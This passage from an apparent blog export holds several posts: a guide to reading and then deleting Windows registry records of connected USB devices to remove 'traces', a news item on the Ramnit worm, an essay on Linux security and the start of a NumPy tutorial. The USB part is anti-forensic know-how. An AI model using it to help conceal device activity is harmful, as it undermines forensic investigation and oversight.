<span style="color: #b45f06; font-size: medium; resize: both ! important;"><b style="resize: both ! important;">a)</b></span>By looking directly into the registry files.<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
<span style="color: #b45f06; font-size: medium; resize: both ! important;"><b style="resize: both ! important;">b)</b></span>Or by using Tool.<br style="resize: both ! important;" />
</div>
<div style="text-align: justify;">
<blockquote style="resize: both ! important;">
<b style="color: #990000; resize: both ! important;">Note:</b>Click on the images to zoom them.</blockquote>
Lets first start with <span style="color: #b45f06; resize: both ! important;">Registry file method</span>.<br style="resize: both ! important;" /><br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">1.</b></span>First open up Run and type "<b style="resize: both ! important;"><span style="color: #b45f06; resize: both ! important;">regedit</span></b>" and hit enter.<br style="resize: both ! important;" /><br style="resize: both ! important;" /><b style="resize: both ! important;"><span style="color: #cc0000; resize: both ! important;">Note:</span></b>USB history can be found at two places in registry<br style="resize: both ! important;" /><blockquote style="resize: both ! important;">
<b style="resize: both ! important;">--HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\<span style="color: #b45f06; resize: both ! important;">USB</span></b><br style="resize: both ! important;" />
<b style="resize: both ! important;"> --HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\<span style="color: #b45f06; resize: both ! important;">USBSTOR</span></b></blockquote>
<br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">2.</b></span>A registry editor window open up,in that window follow the steps as shown in the image below.<br style="resize: both ! important;" /><b style="resize: both ! important;">(</b>Here we will look into the <span style="color: #b45f06; resize: both ! important;">second registry path</span> mentioned above but you can also try with the first one<b style="resize: both ! important;">)</b></div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCYqZw-T-GvNbFJUAFLf9Urqyb_ir3A9cc6Cqx1rcjCA49nWH_RBbsxhCkqhFKODkG8NnZpdX9OhgiKcauna92pyezOLuaXHmFirBAhC-l5XA6bVqJkSmqlzW6PyMM6OvBuNMV82IjpBs/s1600/usb2.jpg" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCYqZw-T-GvNbFJUAFLf9Urqyb_ir3A9cc6Cqx1rcjCA49nWH_RBbsxhCkqhFKODkG8NnZpdX9OhgiKcauna92pyezOLuaXHmFirBAhC-l5XA6bVqJkSmqlzW6PyMM6OvBuNMV82IjpBs/s320/usb2.jpg" style="resize: both ! important;" /></a></div>
<div style="text-align: justify;">
In the above image you can see that after I connected a pendrive and its information is present there in the registry.<br style="resize: both ! important;" /><br style="resize: both ! important;" />
So lets see how we can do this with a tool.The tool that we will be using for this is<b style="resize: both ! important;"><span style="color: #b45f06; resize: both ! important;"> Nirsofts's USBDVIEW</span></b>.<b style="resize: both ! important;"> (</b><a href="http://www.nirsoft.net/utils/usb_devices_view.html" style="resize: both ! important;"><b style="resize: both ! important;">Download</b></a><b style="resize: both ! important;">)</b><br style="resize: both ! important;" /><br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">1.</b></span>Download the Tool and just run , it will show all the devices that were connected to your PC.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAWzUFdLxim2sWZxok1sWh8xc8b06K7kAR1CF90LM0VtlhjleT8WsSvelv-_jWcVSpEsDToFxzPnE9J3oNNUMz4P7XimsmE4G07NJzfEJmIlvDfGzoao6Vxsm87JB6uiRhQmD2oO_wZBI/s1600/usb.jpg" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAWzUFdLxim2sWZxok1sWh8xc8b06K7kAR1CF90LM0VtlhjleT8WsSvelv-_jWcVSpEsDToFxzPnE9J3oNNUMz4P7XimsmE4G07NJzfEJmIlvDfGzoao6Vxsm87JB6uiRhQmD2oO_wZBI/s320/usb.jpg" style="resize: both ! important;" /></a></div>
<div style="text-align: justify;">
<br style="resize: both ! important;" /><blockquote style="resize: both ! important;">
<b style="color: #990000; resize: both ! important;">Note:</b><span style="color: #b45f06; resize: both ! important;">Serial numbers are unique for external devices</span> but internal devices as you can see have same serial number.</blockquote>
<br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">2.</b></span>Now select anyone of the external device and <span style="color: #b45f06; resize: both ! important;">right click</span> on it and select <span style="color: #b45f06; resize: both ! important;">Properties.</span>It will show you all the details about the external device as shown in the image below.</div>
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<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVeLYXmvxPOU86znk9RNZnjzSK_lXVRZU94_DX6jVSRBapGAK8VKbvUy7QZDDHXgsFYRsmrf8qoQBwLgl8wgXBz-vWH5_-DJNo84nY6vOc3FAnHJwAIQ6NKt-HXuezapRr9sEET26r4lg/s1600/usb5.jpg" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVeLYXmvxPOU86znk9RNZnjzSK_lXVRZU94_DX6jVSRBapGAK8VKbvUy7QZDDHXgsFYRsmrf8qoQBwLgl8wgXBz-vWH5_-DJNo84nY6vOc3FAnHJwAIQ6NKt-HXuezapRr9sEET26r4lg/s320/usb5.jpg" style="resize: both ! important;" /></a></div>
<div style="text-align: justify;">
<br style="resize: both ! important;" />
Now we have retrieved the history of the USB devices so,lets see how we can delete these history informations.<br style="resize: both ! important;" /><br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">1.</b></span><b style="resize: both ! important;"><span style="color: #b45f06; resize: both ! important;">Open up the registry editor window</span> </b>as shown in the above steps then follow the on screen steps as shown in the image below.</div>
<div class="separator" style="clear: both; resize: both ! important; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihMSQH3mijFt-PvyalfYVuCwzP8er-opmRAYUo4CxSwKo4XH2odVsOzqRD6r809CL-H8y5cqIfRO9IZ9V0HFmIBKGfsjEX1vPSKrD3e6zpnoRFDsrNdMjSdB4aGK0HMuVwx51BeJp44iw/s1600/usb4.JPG" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihMSQH3mijFt-PvyalfYVuCwzP8er-opmRAYUo4CxSwKo4XH2odVsOzqRD6r809CL-H8y5cqIfRO9IZ9V0HFmIBKGfsjEX1vPSKrD3e6zpnoRFDsrNdMjSdB4aGK0HMuVwx51BeJp44iw/s320/usb4.JPG" style="resize: both ! important;" /></a></div>
<div style="text-align: justify;">
<br style="resize: both ! important;" /><span style="font-size: medium; resize: both ! important;"><b style="resize: both ! important;">2.</b></span>After completing all the steps in the above image you will be <b style="resize: both ! important;"><span style="color: #b45f06; resize: both ! important;">able to delete the registry key or subkey.</span></b></div>
<div class="separator" style="clear: both; resize: both ! important; text-align: justify;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1XsyvW1rOiD-1IQjNVuKpcPDSNirFXzirBmmGlct_9nDgxRZ0fWxI8szZq9X2hrm8VehL273miXIpaRiHbkqSYC1RLRonp_Gn-MVZ8UXSmxvIUx4D28Y1P5tIjRJKecov397iwy0hjrs/s1600/usb6.JPG" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1XsyvW1rOiD-1IQjNVuKpcPDSNirFXzirBmmGlct_9nDgxRZ0fWxI8szZq9X2hrm8VehL273miXIpaRiHbkqSYC1RLRonp_Gn-MVZ8UXSmxvIUx4D28Y1P5tIjRJKecov397iwy0hjrs/s320/usb6.JPG" style="resize: both ! important;" /></a></div>
<div style="text-align: justify;">
By doing this the traces are removed....but still then it can be detected so <b style="color: #990000; resize: both ! important;">we will cover that in Part-II</b>.</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-47687498673809247982012-10-08T23:29:00.001-07:002012-10-08T23:29:58.353-07:00Ramnit : Worm that loves Facebook..!!!<center style="resize: both ! important;">
<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
</center>
<br /><div class="post-body entry-content" style="resize: both ! important;">
<div dir="ltr" style="resize: both ! important; text-align: left;">
<div class="separator" style="clear: both; resize: both ! important; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinb8WHYVytx_LRrGg4D4Tb4cJpWabvY7wpZ0P5Sh6KGorGiavxDYa388ZF0SNd3uQMckTEiouTT7mqq8gZqkp2rABsuac6iiziy6pxGpgJGa-D94m_nVh9aipOqDKRzCaOoefkreWAvYY/s1600/Securityhunk_ramnit_facebook.jpg" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" height="240" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinb8WHYVytx_LRrGg4D4Tb4cJpWabvY7wpZ0P5Sh6KGorGiavxDYa388ZF0SNd3uQMckTEiouTT7mqq8gZqkp2rABsuac6iiziy6pxGpgJGa-D94m_nVh9aipOqDKRzCaOoefkreWAvYY/s400/Securityhunk_ramnit_facebook.jpg" style="resize: both ! important;" width="400" /></a></div>
"Ramnit" the worm with multifaceted spreading capabilities,first detected on 2010 for infecting local systems. Now the hackers behind it have redesigned it into a more advanced kind of worm.The worm has already stolen <span style="background-color: #f9cb9c; resize: both ! important;">45000 facebook</span> credentials and still on move.<br style="resize: both ! important;" />
<br /><span id="goog_1805516773"></span><a href="http://www.blogger.com/"></a><span id="goog_1805516774"></span><br style="resize: both ! important;" />
<a href="http://www.blogger.com/goog_1805516775"><br style="resize: both ! important;" /></a>
<center style="resize: both ! important;">
<div id="url-text" style="resize: both ! important;">
<a href="http://www.youtube.com/embed/fv3M2Q82YNE"><span id="goog_1805516780"></span><span id="goog_1805516782"></span>http://www.youtube.com/embed/fv3M2Q82YNE<span id="goog_1805516783"></span><span id="goog_1805516781"></span><span id="goog_1805516776"></span><span id="goog_1805516777"></span></a></div>
<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
</center>
<br style="resize: both ! important;" />
It is also confirmed that this worm is able to bypass the two level authentication
used by banking organizations and online money transfer.Below I have
taken the snapshot of the code of the worm that was detected in 2010.<br style="resize: both ! important;" />
<div class="separator" style="clear: both; resize: both ! important; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyeBhvZ1untx2PFz7Y7jVrRxFziJo7B78IQKzy-cBlDIgg84u7Y5Vv6CWXU2Eraj6VzorVfGxKuA3hWbe2t3WFtIlNmvIT2-MyNObt9wUOTTSR1VYxml6KRXAz_0UXt4SpkxBuW00eVM/s1600/ramnit_securityhunk.JPG" style="margin-left: 1em; margin-right: 1em; resize: both ! important;"><img border="0" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyyeBhvZ1untx2PFz7Y7jVrRxFziJo7B78IQKzy-cBlDIgg84u7Y5Vv6CWXU2Eraj6VzorVfGxKuA3hWbe2t3WFtIlNmvIT2-MyNObt9wUOTTSR1VYxml6KRXAz_0UXt4SpkxBuW00eVM/s400/ramnit_securityhunk.JPG" style="resize: both ! important;" width="400" /></a></div>
It
comes from online malicious sources and creates infected .html files
through that it infects the executable and .dll files. As,depicted in
the video below.<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
<center style="resize: both ! important;">
<div id="url-text" style="resize: both ! important;">
<a href="http://www.youtube.com/embed/srpbDcHZGss">http://www.youtube.com/embed/srpbDcHZGss</a></div>
<br style="resize: both ! important;" />
<br style="resize: both ! important;" />
</center>
<br style="resize: both ! important;" />
But as the worm has spread its root to financial and social media so it a big concern.Users are advised to change there credentials in <span style="background-color: #fce5cd; resize: both ! important;">every 14 days.</span> </div>
</div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-79942836844445879282012-09-26T01:22:00.000-07:002012-09-26T01:22:10.660-07:00Why Linux Will Never Suffer From Viruses Like Windows..!!!<div style="text-align: justify;">
There seems to be a recurring phenomenon in the
technology press, where any trojan that affects Linux or Macs becomes front
page news. On the other hand, trojans that affect Windows are mostly ignored,
perhaps because this is considered to be the normal state of affairs. </div>
<div style="text-align: justify;">
There are two common statements made in the
discussions of these rare events:</div>
<ul style="text-align: justify;">
<li>No operating system will ever be secure from Trojans. </li>
<li>Linux/Mac only have fewer viruses because no one uses them. </li>
</ul>
<div style="text-align: justify;">
<img alt="" src="http://hothardware.com/articleimages/Item1899/windows-logo.jpg" /> <img alt="" src="http://hothardware.com/articleimages/Item1899/Linux-Logo.jpg" /> </div>
<div style="text-align: justify;">
The first statement is almost correct, whereas the second one is a flat out
myth in my opinion. Let me explain, and I’ll listen if you still disagree after
reading the following in its entirety.<br /><br /><strong>1. No operating system
will ever be totally secure from Trojans...</strong> but only as long as they
allow anyone to write un-sandboxed software for it.<br /><br />If users have the
ability to run anything, they can also install anything they are tricked into
running. Anyone can trick people into running a script to format their drive on
any operating system... if the user is gullible enough to click through the
prompts and enter the admin password. There is only one way around this: Don’t
let the users run anything they want!</div>
<div style="text-align: justify;">
Take the XBox 360, for example. It’s
actually a full fledged computer, with huge marketshare, running a Microsoft operating
system. Yet, with all these compounding points of vulnerability it has no known
trojans floating around in the wild. Why? Because full system access is
restricted to established companies with a clear chain of responsibility. Users
can’t run unsigned software on the system, and even with XNA indie devs get only
crippled sandbox access. </div>
<div style="text-align: justify;">
<img alt="" src="http://hothardware.com/articleimages/Item1899/xbox360-600px.jpg" /></div>
<div style="text-align: justify;">
Apple’s taking this same approach with their Mac App
Store. Apps delivered through the store must run in a sandboxed
environment. Microsoft is also doing the same thing with their Windows 8 app
store. If devs want to create their own apps with full system access, they won’t
be able to play in these ecosystems. Of course, Apple and Microsoft still let
their own apps, the ones devs will be competing against, run with full system
access (look for anti-trust lawsuits here later).<br /><br />After “Secure Boot”
(i.e. restricted boot) is prevalent, and the operating systems are locked down
to not allow anyone to sideload any non-OEM software, we could be completely
free of trojans and viruses. That might be good for the average level of system
security, but it would be a horrible blow to innovation, competition, and the
indie/hobbyist developers.<br /><br /><strong>2. Does system adoption directly
correlate to an increased likelihood of viruses / trojans? No. Not in my
opinion.</strong> There are many reasons Linux systems have fewer viruses, and
market share is only one factor. I’ll address these from the Linux
perspective. On the Mac side of things, several of the points don’t apply, as
Apple has taken free software and brought it into its closed, walled
garden.<br /><br /><em><strong><br />A huge percentage of Linux software is installed
from signed repositories:</strong></em></div>
<div style="text-align: justify;">
<em>1) The downloads themselves are cryptographically
signed.</em><br />When a user downloads software and drivers for Windows,
they’re typically doing it from many different websites on the internet, and
trusting that the admins of every one of those sites is competent and has done
their due diligence to implement the proper security. At the time of the
download, there is no check to verify that the file the user is getting was
actually created by a trusted source (and not a hacker that has pwn’d the site)
or is being served by some man in the middle.<br /><br />On Linux, with few
exceptions, the hardware drivers are also included with the kernel. As for
software, users typically download that from only a limited set of distro-owned
repositories. All software is delivered in installation packages that are
cryptographically signed and those signatures are checked at installation time.
If a package has been replaced with a hacked version and was therefore not
signed with a trusted cert, users will get a big fat error warning them of
that.<br /><br /><em>2) The repositories (“repos”, for short) keep all of the
software up to date, not just the kernel or things made by the distro
creator.</em></div>
<div style="text-align: justify;">
When a security flaw is found in a Windows
application, the vendor will usually put an update on their website. With the
exception of a few MS partners that have their drivers on Windows Update, it is
up to the user to go discover that and update their software.<br /><br />On Linux,
security issues can be raised and patches created by any entity, not just the
original software author. These updates are applied and pushed into the repos
for all applications. Users become aware of it almost immediately - as most
distros check regularly and prompt users to click a button to update the
app.</div>
<div style="text-align: justify;">
<a href="http://www.blogger.com/blogger.g?blogID=607480404802064783"><img alt="" src="http://hothardware.com/articleimages/Item1899/small_Ubuntu-Desktop.jpg" style="border-bottom: 1px solid; border-left: 1px solid; border-right: 1px solid; border-top: 1px solid;" /></a><br /><em>I
finally found a trojan! It's a Windows trojan in my Junk email folder, that
doesn't work on my Linux box.</em></div>
<div style="text-align: justify;">
<em><strong>More than 99% of the software is open
source:</strong></em></div>
<div style="text-align: justify;">
It’s not unreasonable to wonder “How does having the
source code available for any nefarious hackers to peruse, make software more
secure?”. The answer can be summed up in something Eric Raymond said about 13
years ago: “Given enough eyeballs, all bugs are shallow”.<br /><br />In the Windows
world, we are trusting the vendor to have done the due diligence to investigate
their own code for buffer overflows and other exploitable flaws. No one else has
seen the code, so automated software source scans/reviews are impossible.</div>
<div style="text-align: justify;">
<img alt="" src="http://hothardware.com/articleimages/Item1899/Virus-Code.jpg" /></div>
<div style="text-align: justify;">
In the Linux world, there are dozens of companies
and security researchers that constantly run scans over the entire ecosystem of
software in their repositories - not just the software they’ve developed
themselves.<br /><br />Open source code also tends to lend itself to re-use. In the
Linux world, devs are not even going to be tempted to go implementing a
security-centric feature like SSL libraries themselves, when there are perfectly
working ones available for their open source apps to use for free. Having that
code open, such that they can step their debugger into and fix any underlying
bugs themselves, is a great asset.<br /><br />On Windows, there’s a reinforcement of
the “not invented here” mindset as apps re-implement the wheel for their
closed-source project in order to avoid paying other proprietary software
developers for a decently vetted utility library. A Linux distribution (distro)
is more than just Linux. Linux is the kernel, and many of the other components
are part of the GNU environment. Common packages (ex. Apache web server) are
used in other open source operating systems, including BSD. And, in case you
didn't know, the BSD guys are kind of nuts about security. So, these components
have been scrutinized with a hundred fine toothed combs.<br /><br />Combine the
open-source nature of Linux with the repository system used for software
distribution, and anyone can see why Linux exploits have shockingly short
lifespans: When a 0-day exploit is found, the geeks rush to see who can come up
with the best fix (since everyone has access to the source), and it’s pushed
into the repos and out to everyone immediately.</div>
<div style="text-align: justify;">
<strong><em><br />Linux distros are
diverse:</em></strong><br />Successful trojans rely on some bug or flaw to
exist, in order to gain elevated privileges. (I know: duh, right?) On Windows,
malware authors can be pretty sure that the kernel bug that exists on their
Windows 7 box also exists on your Windows 7 box (if both are up to date).</div>
<div style="text-align: justify;">
<img alt="" src="http://hothardware.com/articleimages/Item1899/linux_distros.jpg" /><br /></div>
<div style="text-align: justify;">
On Linux, these would-be-hackers would be extremely
lucky if two different distros are running the same kernel -- much less the
same patch-sets -- and maybe if they were built with the same compile options.
The same bugs do not exist everywhere, which makes Linux a less viable target.
It's still an attractive target (since a large percentage of the always-on
servers on the Internet run it), it's just not as easily exploited at the OS
level.<br /><br />So, the conclusion is obvious: Even if they had the exact same
market share, it is extremely unlikely that Linux would ever have the same
number of exploits as we see in closed-source ecosystems such as Windows. This
is a direct result of the open nature, which allows for innumerable companies
and hobbyists to access and maintain all portions of the system--a feature that
simply can't be replicated in proprietary operating systems. Linux will always
have more eyes looking through the code to make it secure, than there are eyes
looking through the code to exploit it.<br /></div>
<div class="blogger-post-footer">https://www.facebook.com/AvinHack</div>bnhttp://www.blogger.com/profile/03291711292827871173noreply@blogger.com0tag:blogger.com,1999:blog-607480404802064783.post-24015360900823444482012-09-25T02:56:00.002-07:002012-09-25T02:56:37.483-07:00Do the Scientific Programming..!!<div class="introduction" style="text-align: justify;">
<br /><img height="417" id="il_fi" src="http://www.google.co.in/url?source=imglanding&ct=img&q=http://phys.ubbcluj.ro/%7Etbeu/MD/MD_0.jpg&sa=X&ei=h39hULifEoPjrAfJzYDIBQ&ved=0CAkQ8wc&usg=AFQjCNEZSfWkNOE_iUpilpmsDe8d9Dfbxg" style="padding-bottom: 8px; padding-right: 8px; padding-top: 8px;" width="640" />This article will take you into the world of
scientific programming — from simple numerical computations to some
complex mathematical models and simulations. We will explore various
computational tools but our focus will remain scientific programming
with Python. I have chosen Python because it combines remarkable power
with clean, simple and easy-to-understand syntax. That some of the most
robust scientific packages have been written in Python makes it a
natural choice for scientific computational tasks.</div>
<div style="text-align: justify;">
Scientific
programming, or in broader terms, scientific computing, deals with
solving scientific problems with the help of computers, so as to obtain
results more quickly and accurately. Computers have long been used for
solving complex scientific problems — however, advancements in computer
science and hardware technologies over the years have also allowed
students and academicians to play around with robust scientific
computation tools.</div>
<div style="text-align: justify;">
Although tools like Mathematica and Matlab
remain commercial, the open source community has also developed some
equally powerful computational tools, which can be easily used by
students and independent researchers. In fact, these tools are so robust
that they are now also used at educational institutions and research
labs across the globe.</div>
<div style="text-align: justify;">
So, let’s move on to setting up a scientific environment.</div>
<h2 style="text-align: justify;">
Setting up the environment</h2>
<div style="text-align: justify;">
Most
UNIX system/Linux distributions have Python installed by default. We
will use Python 2.6.6 for the purposes of this article. It’s recommended
to install IPython, as it offers enhanced introspection, additional
shell syntax, syntax highlighting and tab-completion. You can install
IPython <a href="http://ipython.org/download.html">here</a>.</div>
<div style="text-align: justify;">
Next,
we’ll install the two most basic scientific computational packages for
Python: NumPy and SciPy. The former is the fundamental package needed
for scientific computing with Python. It contains a powerful
N-dimensional array object, sophisticated functions, tools for
integrating C/C++, and Fortran code with useful linear algebra, Fourier
transforms, and random-number capabilities. The SciPy library is built
to work with NumPy arrays, and provides many user-friendly and efficient
numerical routines for numerical integration and optimisation.</div>
<div style="text-align: justify;">
Open the Synaptic Package Manager and install the <code>python-numpy</code> and <code>python-scipy</code> packages. Now that we have NumPy and SciPy installed, let’s get our hands dirty with some mathematical functions and equations!</div>
<div class="wp-caption aligncenter" id="attachment_8903" style="text-align: justify; width: 590px;">
<a href="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image01.png"><img alt="NumPy and SciPy Installation" class="size-large wp-image-8903" height="443" src="http://cdn.linuxforu.com/wp-content/uploads/2011/05/Image01-590x443.png" title="NumPy and SciPy Installation" width="590" /></a><div class="wp-caption-text">
Figure 1: NumPy and SciPy Installation</div>
</div>
<h2 style="text-align: justify;">
Numerical computations with NumPy, SciPy and Maxima</h2>
<div style="text-align: justify;">
NumPy
offers efficient array computations with fixed-size, homogeneous,
multi-dimensional array types, and a plethora of functions to perform
various array operations. Array-programming languages like NumPy
generalise operations in scalars to apply transparently to vectors,
matrices and other higher-dimensional arrays. Python does not have a
default array data type, and processing data with Python lists and for
loops is dramatically slower compared to corresponding operations in
compiled languages like FORTRAN, C and C++. NumPy comes to the rescue,
with its dynamically typed environment for array computation, similar to
basic Matlab. You can create a simple array with the array function in
NumPy:</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_926750">
<table border="0" cellpadding="0" cellspacing="0" style="margin-left: 0px; margin-right: 0px; text-align: left;"><tbody>
<tr><td class="gutter"><div class="line number1 index0 alt2">
1</div>
<div class="line number2 index1 alt1">
2</div>
<div class="line number3 index2 alt2">
3</div>
<div class="line number4 index3 alt1">
4</div>
<div class="line number5 index4 alt2">
5</div>
<div class="line number6 index5 alt1">
6</div>
<div class="line number7 index6 alt2">
7</div>
<div class="line number8 index7 alt1">
8</div>
<div class="line number9 index8 alt2">
9</div>
<div class="line number10 index9 alt1">
10</div>
<div class="line number11 index10 alt2">
11</div>
<div class="line number12 index11 alt1">
12</div>
<div class="line number13 index12 alt2">
13</div>
</td><td class="code"><div class="container">
<div class="line number1 index0 alt2">
<code class="python plain">In[</code><code class="python value">1</code><code class="python plain">]: </code><code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
<div class="line number2 index1 alt1">
</div>
<div class="line number3 index2 alt2">
<code class="python plain">In[</code><code class="python value">2</code><code class="python plain">]: a </code><code class="python keyword">=</code> <code class="python plain">np.array([</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">])</code></div>
<div class="line number4 index3 alt1">
</div>
<div class="line number5 index4 alt2">
<code class="python plain">In[</code><code class="python value">2</code><code class="python plain">]: b </code><code class="python keyword">=</code> <code class="python plain">np.array([</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">8</code><code class="python plain">,</code><code class="python value">9</code><code class="python plain">,</code><code class="python value">10</code><code class="python plain">])</code></div>
<div class="line number6 index5 alt1">
</div>
<div class="line number7 index6 alt2">
<code class="python plain">In[</code><code class="python value">3</code><code class="python plain">]: </code><code class="python functions">type</code><code class="python plain">(b) </code><code class="python comments">#check datatype</code></div>
<div class="line number8 index7 alt1">
</div>
<div class="line number9 index8 alt2">
<code class="python plain">Out[</code><code class="python value">3</code><code class="python plain">]: </code><code class="python functions">type</code> <code class="python plain">numpy.ndarray </code><code class="python comments">#array</code></div>
<div class="line number10 index9 alt1">
</div>
<div class="line number11 index10 alt2">
<code class="python plain">In[</code><code class="python value">4</code><code class="python plain">]: a</code><code class="python keyword">+</code><code class="python plain">b</code></div>
<div class="line number12 index11 alt1">
</div>
<div class="line number13 index12 alt2">
<code class="python plain">Out[</code><code class="python value">4</code><code class="python plain">]: array([</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">9</code><code class="python plain">,</code><code class="python value">11</code><code class="python plain">,</code><code class="python value">13</code><code class="python plain">,</code><code class="python value">15</code><code class="python plain">])</code></div>
</div>
</td></tr>
</tbody></table>
</div>
</div>
<div style="text-align: justify;">
You can also convert a simple array to a matrix array using the shape attribute.</div>
<div style="text-align: justify;">
<div class="syntaxhighlighter notranslate python" id="highlighter_243465">
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<code class="python plain">In[</code><code class="python value">1</code><code class="python plain">]: </code><code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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<code class="python plain">In[</code><code class="python value">5</code><code class="python plain">]: c </code><code class="python keyword">=</code> <code class="python plain">np.array([</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">,</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">])</code></div>
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<code class="python plain">In[</code><code class="python value">6</code><code class="python plain">]: c.shape </code><code class="python keyword">=</code> <code class="python plain">(</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">)</code></div>
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<code class="python plain">In[</code><code class="python value">7</code><code class="python plain">]: c</code></div>
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<code class="python plain">Out[</code><code class="python value">7</code><code class="python plain">]: array([</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">],[</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">]) </code><code class="python keyword">/</code><code class="python keyword">/</code> <code class="python plain">converted to a </code><code class="python value">2</code> <code class="python plain">column matrix</code></div>
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<h2 style="text-align: justify;">
Matrix operations</h2>
<div style="text-align: justify;">
Now let us take a look at some simple matrix operations. The following matrix can be simply defined as:<br /> <img alt="M = \begin{pmatrix} 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \end{pmatrix}" class="latex" src="http://s0.wp.com/latex.php?latex=M+%3D+%5Cbegin%7Bpmatrix%7D++1+%26+2+%26+3+%5C%5C++4+%26+5+%26+6+%5C%5C++7+%26+8+%26+9++%5Cend%7Bpmatrix%7D&bg=ffffff&fg=000&s=0" title="M = \begin{pmatrix} 1 & 2 & 3 \\ 4 & 5 & 6 \\ 7 & 8 & 9 \end{pmatrix}" /></div>
<div style="text-align: justify;">
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<code class="python comments"># Defining a matrix and matrix multiplication</code></div>
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<code class="python plain">In[</code><code class="python value">1</code><code class="python plain">]: </code><code class="python keyword">import</code> <code class="python plain">numpy as np</code></div>
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<code class="python plain">In[</code><code class="python value">2</code><code class="python plain">]: x </code><code class="python keyword">=</code> <code class="python plain">np.array([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">],[</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">],[</code><code class="python value">7</code><code class="python plain">,</code><code class="python value">8</code><code class="python plain">,</code><code class="python value">9</code><code class="python plain">]])</code></div>
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<code class="python plain">In[</code><code class="python value">3</code><code class="python plain">]: y </code><code class="python keyword">=</code> <code class="python plain">np.array([[</code><code class="python value">1</code><code class="python plain">,</code><code class="python value">4</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">],[</code><code class="python value">2</code><code class="python plain">,</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">5</code><code class="python plain">],[</code><code class="python value">6</code><code class="python plain">,</code><code class="python value">8</code><code class="python plain">,</code><code class="python value">3</code><code class="python plain">]]) </code><code class="python comments">#another matrix</code></div>
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<code class="python plain">In[</code><code class="python value">4</code><code class="python plain">]: z </code><code class="python keyword">=</code> <code class="python plain">np.dot(x,y) </code><code class="python comments">#matrix multiplication using dot attribute</code></div>
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<code class="python plain">Out[</code><code class="python value">5</code><code class="python plain">]: z </code><code class="python keyword">=</code> <code class="python plain">([[</code><code class="python value">23</code><code class="python plain">, </code><code class="python value">40</code><code class="python plain">,</code><code class="python value">24</code><code class="python plain">], [</code><code class="python value">50</code><code class="python plain">,</code><code class="python value">94</code><code class="python plain">,</code><code class="python value">63</code><code class="python plain">],[</code><code class="python value">77</code><code class="python plain">,</code><code class="python value">148</code><code class="python plain">,</code><code class="python value">102</code><code class="python plain">]])</code></div>
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<div style="text-align: justify;">
You
can also create matrices in NumPy using the matrix class. However, it’s
preferable to use arrays, since most NumPy functions return arrays, and
not matrices. Moreover, matrix objects have a maximum of Rank-2. To
hold Rank-3 data, you need an array. Also, arrays are closer in
semantics to tensor algebra, compared to matrix objects.</div>
